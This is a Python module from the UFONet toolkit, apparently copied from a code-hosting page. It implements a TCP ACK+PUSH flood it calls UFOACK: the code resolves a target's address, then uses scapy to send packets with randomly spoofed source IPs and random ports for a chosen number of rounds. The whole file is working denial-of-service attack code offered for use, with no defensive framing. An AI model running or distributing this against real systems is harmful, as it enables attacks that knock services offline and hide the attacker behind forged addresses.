ufoack.py 3.1 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. try:
  12. from urlparse import urlparse
  13. except:
  14. from urllib.parse import urlparse
  15. try:
  16. from scapy.all import *
  17. except:
  18. print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
  19. sys.exit(2)
  20. # UFONet TCP 'ACK+PUSH' packet attack (UFOACK)
  21. def randIP():
  22. ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
  23. return ip
  24. def randInt():
  25. x = random.randint(1,65535) # TCP ports
  26. return x
  27. def ackize(ip, sport, rounds):
  28. n=0
  29. try:
  30. for x in range (0,int(rounds)):
  31. n=n+1
  32. s_zombie_port = randInt()
  33. seq = randInt()
  34. window = randInt()
  35. IP_p = IP()
  36. IP_p.src = randIP()
  37. try:
  38. IP_p.dst = ip
  39. except:
  40. print("[Error] [AI] [UFOACK] Imposible to resolve IP from 'target' -> [Aborting!]\n")
  41. break
  42. TCP_l = TCP()
  43. TCP_l.sport = s_zombie_port
  44. TCP_l.dport = sport
  45. TCP_l.seq = seq
  46. TCP_l.window = window
  47. TCP_l.flags = "AP" # FLAGS SET (ACK+PUSH)
  48. try:
  49. send(IP_p/TCP_l, verbose=0)
  50. print("[Info] [AI] [UFOACK] Firing 'ionized crystals' ["+str(n)+"] -> [IONIZING!]")
  51. time.sleep(1) # sleep time required for balanced sucess
  52. except:
  53. print("[Error] [AI] [UFOACK] Failed to engage with 'ionized crystals' ["+str(n)+"]")
  54. except:
  55. print("[Error] [AI] [UFOACK] Failing to engage... -> Is still target online? -> [Checking!]")
  56. class UFOACK(object):
  57. def attacking(self, target, rounds):
  58. print("[Info] [AI] TCP 'ACK+PUSH' (UFOACK) is ready to fire: [" , rounds, "ionized crystals ]")
  59. if target.startswith('http://'):
  60. target = target.replace('http://','')
  61. sport = 80
  62. elif target.startswith('https://'):
  63. target = target.replace('https://','')
  64. sport = 443
  65. try:
  66. ip = socket.gethostbyname(target)
  67. except:
  68. try:
  69. import dns.resolver
  70. r = dns.resolver.Resolver()
  71. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  72. url = urlparse(target)
  73. a = r.query(url.netloc, "A") # A record
  74. for rd in a:
  75. ip = str(rd)
  76. except:
  77. ip = target
  78. if ip == "127.0.0.1" or ip == "localhost":
  79. print("[Info] [AI] [UFOACK] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  80. return
  81. ackize(ip, sport, rounds) # attack with UFOACK using threading